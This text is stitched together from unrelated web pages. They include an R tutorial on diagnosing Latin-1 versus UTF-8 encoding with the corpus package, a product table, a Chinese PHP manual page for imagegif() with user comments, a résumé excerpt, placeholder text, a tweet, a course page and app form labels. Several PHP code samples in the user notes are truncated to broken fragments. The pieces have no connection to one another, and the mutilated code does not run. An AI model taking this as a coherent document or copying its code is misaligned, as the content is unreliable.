[1] \001\002\003\004\005\006\a\b\t\n\v\f\r\016\017
Base R format control codes below 128 using octal escapes. There are some other differences between the function which we will highlight below.
ASCII works fine for most text in English, but not for other languages. The Latin-1 encoding extends ASCII to Latin languages by assigning the numbers 128 to 255 (hexadecimal 0x80 to 0xff) to other common characters in Latin languages. We can see these characters below.
codes <- matrix(128:255, 8, 16, byrow = TRUE,
dimnames = list(c(8:9, letters[1:6]), c(0:9, letters[1:6])))
latin1 <- apply(codes, c(1, 2), intToUtf8)
# replace control codes with ""
latin1[c("8", "9"),] <- ""
utf8_print(latin1, quote = FALSE)
0 1 2 3 4 5 6 7 8 9 a b c d e f
8
9
a ¡ ¢ £ ¤ ¥ ¦ § ¨ © ª « ¬ ® ¯
b ° ± ² ³ ´ µ ¶ · ¸ ¹ º » ¼ ½ ¾ ¿
c À Á Â Ã Ä Å Æ Ç È É Ê Ë Ì Í Î Ï
d Ð Ñ Ò Ó Ô Õ Ö × Ø Ù Ú Û Ü Ý Þ ß
e à á â ã ä å æ ç è é ê ë ì í î ï
f ð ñ ò ó ô õ ö ÷ ø ù ú û ü ý þ ÿ
As with ASCII, the first 32 numbers are control codes. The others are characters common in Latin languages. Note that 0xa3
, the invalid byte from Mansfield Park, corresponds to a pound sign in the Latin-1 encoding. Given the context of the byte:
lines[15252]
[1] "the command of her beauty, and her \xa320,000, any one who could satisfy the"
this is probably the right symbol. The text is probably encoded in Latin-1, not UTF-8 or ASCII as claimed in the file.
If you run into an error while reading text that claims to be ASCII, it is probably encoded as Latin-1. Note, however, that this is not the only possibility, and there are many other encodings. The iconvlist
function will list the ones that R knows how to process:
head(iconvlist(), n = 20)
[1] "437" "850" "852" "855"
[5] "857" "860" "861" "862"
[9] "863" "865" "866" "869"
[13] "ANSI_X3.4-1968" "ANSI_X3.4-1986" "ARABIC" "ARMSCII-8"
[17] "ASCII" "ASMO-708" "ATARI" "ATARIST"
With only 256 unique values, a single byte is not enough to encode every character. Multi-byte encodings allow for encoding more. UTF-8 encodes characters using between 1 and 4 bytes each and allows for up to 1,112,064 character codes. Most of these codes are currently unassigned, but every year the Unicode consortium meets and adds new characters. You can find a list of all of the characters in the Unicode Character Database. A listing of the Emoji characters is available separately.
Say you want to input the Unicode character with hexadecimal code 0x2603. You can do so in one of three ways:
"\u2603" # with \u + 4 hex digits
[1] "☃"
"\U00002603" # with \U + 8 hex digits
[1] "☃"
intToUtf8(0x2603) # from an integer
[1] "☃"
For characters above 0xffff
, the first method won’t work. On Windows, a bug in the current version of R (fixed in R-devel) prevents using the second method.
When you try to print Unicode in R, the system will first try to determine whether the code is printable or not. Non-printable codes include control codes and unassigned codes. On Mac OS, R uses an outdated function to make this determination, so it is unable to print most emoji. The utf8_print
function uses the most recent version (10.0.0) of the Unicode standard, and will print all Unicode characters supported by your system:
print(intToUtf8(0x1f600 + 0:79)) # base R
[1] "\U0001f600\U0001f601\U0001f602\U0001f603\U0001f604\U0001f605\U0001f606\U0001f607\U0001f608\U0001f609\U0001f60a\U0001f60b\U0001f60c\U0001f60d\U0001f60e\U0001f60f\U0001f610\U0001f611\U0001f612\U0001f613\U0001f614\U0001f615\U0001f616\U0001f617\U0001f618\U0001f619\U0001f61a\U0001f61b\U0001f61c\U0001f61d\U0001f61e\U0001f61f\U0001f620\U0001f621\U0001f622\U0001f623\U0001f624\U0001f625\U0001f626\U0001f627\U0001f628\U0001f629\U0001f62a\U0001f62b\U0001f62c\U0001f62d\U0001f62e\U0001f62f\U0001f630\U0001f631\U0001f632\U0001f633\U0001f634\U0001f635\U0001f636\U0001f637\U0001f638\U0001f639\U0001f63a\U0001f63b\U0001f63c\U0001f63d\U0001f63e\U0001f63f\U0001f640\U0001f641\U0001f642\U0001f643\U0001f644\U0001f645\U0001f646\U0001f647\U0001f648\U0001f649\U0001f64a\U0001f64b\U0001f64c\U0001f64d\U0001f64e\U0001f64f"
utf8_print(intToUtf8(0x1f600 + 0:79)) # truncates to line width
[1] "😀😁😂😃😄😅😆😇😈😉😊😋😌😍😎😏😐😑😒😓😔😕😖😗😘😙😚😛😜😝😞😟😠😡😢😣…"
utf8_print(intToUtf8(0x1f600 + 0:79), chars = 500) # increase character limit
[1] "😀😁😂😃😄😅😆😇😈😉😊😋😌😍😎😏😐😑😒😓😔😕😖😗😘😙😚😛😜😝😞😟😠😡😢😣😤😥😦😧😨😩😪😫😬😭😮😯😰😱😲😳😴😵😶😷😸😹😺😻😼😽😾😿🙀🙁🙂🙃🙄🙅🙆🙇🙈🙉🙊🙋🙌🙍🙎🙏"
(Characters with codes above 0xffff, including most emoji, are not supported on Windows.)
Corpus provides the following utilities for validating, formatting, and printing UTF-8 characters:
as_utf8()
attempts to convert character data to UTF-8, throwing an error if the data is invalid;
utf8_valid()
tests whether character data is valid according to its declared encoding;
utf8_encode()
encodes a character string, escaping all control characters, so that it can be safely printed to the screen;
utf8_format()
formats a character vector by truncating to a specified character width limit or by left, right, or center justifying;
utf8_print()
prints UTF-8 character data to the screen;
utf8_width()
measures the display with of UTF-8 character strings (many emoji and East Asian characters are twice as wide as other characters).
Corpus does not provide a method to translate from another encoding to UTF-8 as the iconv()
function from base R already serves this purpose.
Back to our original problem: getting the text of Mansfield Park into R. Our first attempt failed:
term_stats(lines)
Error in term_stats(lines) :
argument entry 15252 is marked as "UTF-8" but contains an invalid byte in position 36 (\xa3)
We discovered a problem on line 15252:
lines[15252]
[1] "the command of her beauty, and her \xa320,000, any one who could satisfy the"
The text is likely encoded in Latin-1, not UTF-8 (or ASCII) as we had originally thought. We can test this by attempting to convert from Latin-1 to UTF-8 with the iconv()
function and inspecting the output:
lines2 <- iconv(lines, "latin1", "UTF-8")
lines2[15252]
[1] "the command of her beauty, and her £20,000, any one who could satisfy the"
It worked! Now we can analyze our text.
f <- text_filter(drop_punct = TRUE, drop = stopwords_en)
term_stats(lines2, f)
term count support
1 fanny 816 806
2 must 508 492
3 crawford 493 488
4 mr 482 466
5 much 459 450
6 miss 432 419
7 said 406 400
8 mrs 408 399
9 sir 372 366
10 edmund 364 364
11 one 370 358
12 think 349 346
13 now 333 331
14 might 324 320
15 time 310 307
16 little 309 300
17 nothing 301 291
18 well 299 286
19 thomas 288 285
20 good 280 275
⋮ (8450 rows total)
If you need more than reading in a single text file, the readtext package supports reading in text in a variety of file formats and encodings. Beyond just plain text, that package can read in PDFs, Word documents, RTF, and many other formats. (Unfortunately, that package currently fails when trying to read in Mansfield Park; the authors are aware of the issue and are working on a fix.)
Text comes in a variety of encodings, and you cannot analyze a text without first knowing its encoding. Many functions for reading in text assume that it is encoded in UTF-8, but this assumption sometimes fails to hold. If you get an error message reporting that your UTF-8 text is invalid, use utf8_valid
to find the offending texts. Try printing the data to the console before and after using iconv
to convert between character encodings. You can use utf8_print
to print UTF-8 characters that R refuses to display, including emoji characters. For reading in exotic file formats like PDF or Word, try the readtext package.


| Drag a column header and drop it here to group by that column | |||||
| ProductID | Product name | Unit Price | Quantity per unit | Units in stock | Discontinued |
| 1 | Chai | $18.00 | 10 boxes x 20 bags | 39 | |
| 2 | Chang | $19.00 | 24 - 12 oz bottles | 17 | |
| 3 | Aniseed Syrup | $10.00 | 12 - 550 ml bottles | 13 | |
| 4 | Chef Anton's Cajun Seasoning | $22.00 | 48 - 6 oz jars | 53 | |
| 5 | Chef Anton's Gumbo Mix | $21.35 | 36 boxes | 0 | |
| 6 | Grandma's Boysenberry Spread | $25.00 | 12 - 8 oz jars | 120 | |
| 7 | Uncle Bob's Organic Dried Pears | $30.00 | 12 - 1 lb pkgs. | 15 | |
| 8 | Northwoods cranberry Sauce | $40.00 | 12 - 12oz jars | 6 | |
| 9 | Mishi Kobe Niku | $97.00 | 18 - 500 g pkgs. | 29 | |
| 10 | Ikura | $31.00 | 12 - 200 ml jars | 31 | |
| 1 2 3 4 5 6 7 8 9 10 ... Page size: 335104 items in 33511 pages |


imagegif
(PHP 4, PHP 5, PHP 7)
imagegif — 输出图象到浏览器或文件。
说明
bool imagegif ( resource $image [, string $filename ] )
imagegif() 从 image 图像以 filename 为文件名创建一个 GIF 图像。image 参数是
imagecreate() 或 imagecreatefrom* 函数的返回值。
图像格式为 GIF87a。如果用了 imagecolortransparent() 使图像为透明，则其格式为
GIF89a。
参数
image
由图象创建函数(例如imagecreatetruecolor())返回的图象资源。
filename
文件保存的路径，如果未设置或为 NULL，将会直接输出原始图象流。
返回值
成功时返回 TRUE，或者在失败时返回 FALSE。
范例
Example #1 使用 imagegif() 输出一个图像
Example #2 使用 imagegif() 将一个 PNG 转换成 GIF
注释
Note:
不过从 GD 库 1.6 起所有的 GIF 支持都移除了，并在版本 2.0.28 中加了回来。如
果使用这些版本之间的 GD 库时本函数不可用。更多信息见 » GD Project 站点。
以下代码段通过自动检测 GD 支持的图像类型来写出移植性更好的 PHP 程序。用更灵
活的代码替代了原来的 header("Content-type: image/gif"); imagegif($im);：
Note:
自 PHP 3.0.18 和 4.0.2 起可以用 imagetypes() 函数代替 function_exists() 来
检查是否支持某种图像格式：
参见
• imagepng() - 以 PNG 格式将图像输出到浏览器或文件
• imagewbmp() - 以 WBMP 格式将图像输出到浏览器或文件
• imagejpeg() - 输出图象到浏览器或文件。
• imagetypes() - 返回当前 PHP 版本所支持的图像类型
User Contributed Notes 12 notes
===============================================================================
To keep GIF animation, you can try the class writing based on GD
GD Enhancer http://www.gdenhancer.com/
===============================================================================
I worked out a script that allows the transfer of alphanumeric data to be
placed on an image. The HTML feature is img src and the php feature is
imagettftext. This simple code will increment from 1 to 3 on images.
code:
";
print "";
print "
";
}
?>
===============================================================================
Using to dynamically generate images is a bit problematic
regarding cache. Unless caching is activated, IE seems to get confused about
the type of the image when attempting to save it. A .GIF created in the above
way causes the browser to suggest saving the image with .BMP, not .GIF.
A solution is to activate cache with session_cache_limiter('public'); in
"image.php", after which IE will correctly save as .GIF. If you do not want the
cache to block any changes in the dynamic image, make sure that the SRC keeps
changing with every reload. Something like "image.php/" . mt_rand(1,100000) .
".gif" seems to work well.
Might be trivial to some, but I spent a couple of hours figuring out why IE
always wants to save my dynamic .GIF's as .BMP's.
===============================================================================
apparently GD does not support animated GIFs.
instead, we're stuck with the old fashioned way:
===============================================================================
It should be noted that if you only want to "save" the file, and not display it
to the browser, you should catch the imagegif into a variable.
Example:
===============================================================================
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
===============================================================================
to create an animated gif with gifsicle, but without storing temporary images
on disk:
'.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe"
, "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
$image = RenderFrame($frame);
ob_start();
imagegif($image);
fwrite($pipes[0], ob_get_contents());
ob_end_clean();
imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>
just define $outfile and RenderFrame(), and that's it.
===============================================================================
If you open a truecolor image (with imageCreateFromPng for example), and you
save it directly with imagegif, you can have a 500 internal server error. You
must use imageTrueColorToPalette to reduce to 256 colors before saving the
image in GIF format.
===============================================================================
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----
I've been playing around with the "data" URL scheme as proposed by RFC 2397
which states how to perform inline, bas64 encoded images. A number of browsers
support this format from some of my tests and would be an interesting way of
removing overhead from multiple HTTP connections. Basically, the IMG tag would
be:
Something like that. Note also that I start the URI with "/-/" before the rest
of the data scheme spec. If you don't start it with this, it won't work in a
lot of the different browsers I tested (such as IE). Note this is useful for
very small images only (as most browsers appear to have a limitation on the
size of HTML element data of 1024). Browsers where this syntax worked that I
tested are the following:
IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)
This should work for other image types as well, such as PNG. JPEG files aren't
really suggested (usually, these files are too large). BTW - there is no
advantage to this method if the image will appear more than ONCE in the page
because you will be transmitting the same data multiple times as opposed to
just once (most browsers realize that already downloaded data that has multiple
references only requires one HTTP call).
Consider using this method if you want to make a single PHP program that
outputs both text and an image AND you want to make only on HTTP call. Cheers.
===============================================================================
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should
use ImageColorTransparent().
===============================================================================
This is how you load and display an image file:
Note that there are no new-lines in the content type header.
===============================================================================
Simple animated-gif hack (requires ImageMagick):


Work Experience
"Nambasoft" Web-developer
April,2019 - October, 2020
Bishkek, Kyrgyzstan
- Development of online shop, CRM system,
- participating in a Development of the CRM-systems, web-sites, chat-boxes and etc.
“Kyrgyztelecom” Web-developer
February, 2020 - at present
Bishkek, Kyrgyzstan
- Development of software products for automation of business processes (CRM system): OUSS CRM
- Putting to a local server of company
- Migrating a initial DB


WYSIWYG Editor.
This is a title. This is a title. This is a title.
This is a summary that goes too long.
This is a title. This is a title. This is a title.
This is a summary that goes too long.
This is a title. This is a title. This is a title.
This is a summary that goes too long.
This is a title. This is a title. This is a title.
This is a summary that goes too long.
This is a title. This is a title. This is a title.
This is a summary that goes too long.


What flavor are the pretzel bits my wife got me? "Double baked butter." It's almost like she knows me or something.
8/28/2009, 3:46:03 PM
Favs: 0
Retweets: 0
link--- layout: tweet ---
What flavor are the pretzel bits my wife got me? "Double baked butter." It's almost like she knows me or something.
8/28/2009, 3:46:03 PM
Favs: 0
Retweets: 0
link


Writing
To increase writing in the elementary school students to write daily; use the writing process for a variety of purposes; be fluent in handwriting, spelling, sentence construction, and word processing; and be in a a community of writers.
The Readings
Kindergaren Writers Workshop
How to Launch Your Kindergarten Writing Workshop. Learning at the Primary Pond to Teach in Preschool? Kindergarten
.Beyond the Pages of a Book
Examining the Effects of Preschool Writing Instruction on Emergent Literacy Skills: A Systematic Review of the Literature Tiger Prints1-33.
.The Tasks
Read
Complete the readings. Annotate the research paper.
Write
Word Wizards
Describe your writing curriculum
Participate
Submit a writer's workshop lesson plan
Criteria
- Mini lesson has a clear learning objective with guided and independent practice to move students toward the learning goal while providing assessment data of this growth.
Evidence
- Lesson Plan has objective
- Lesson plan includes guided and indpendent practice
- Assessment strategies are used throughout the lesson


Click term to reveal definiton:
JavaScript
JavaScript is a programming language that conforms to the ECMAScript specification.
Functions
a set of statements that performs a task or calculates a value
Methods
actions that can be performed on objects


 %}{% endblock %} {% block body %}
Now let's talk a little bit about how LinerNotes works. You can think of LinerNotes as as a "home base" for online muisc. Come here and we'll satisfy your every music need (or point you to someone who can.)
 Like baseball cards, you can either read the cards to learn about a band, or you can grab your favorites and build a collection.
Why? Collections help you remember your favorite stuff, find it again quickly, and share it with your friends easily.
Plus, once you make a collection we'll make you a sweet custom playlist for everything in that collection.
{% endif %} {% endblock %}


Home!
Alex Davies
QA Consulting Training
Add Car
Make
Colour
Reg
Garage Check In
Select Car
Select Faults
Flat Tyre
Paint Job
Dent
Clutch
Gear Box
Garage Check Out
Select Car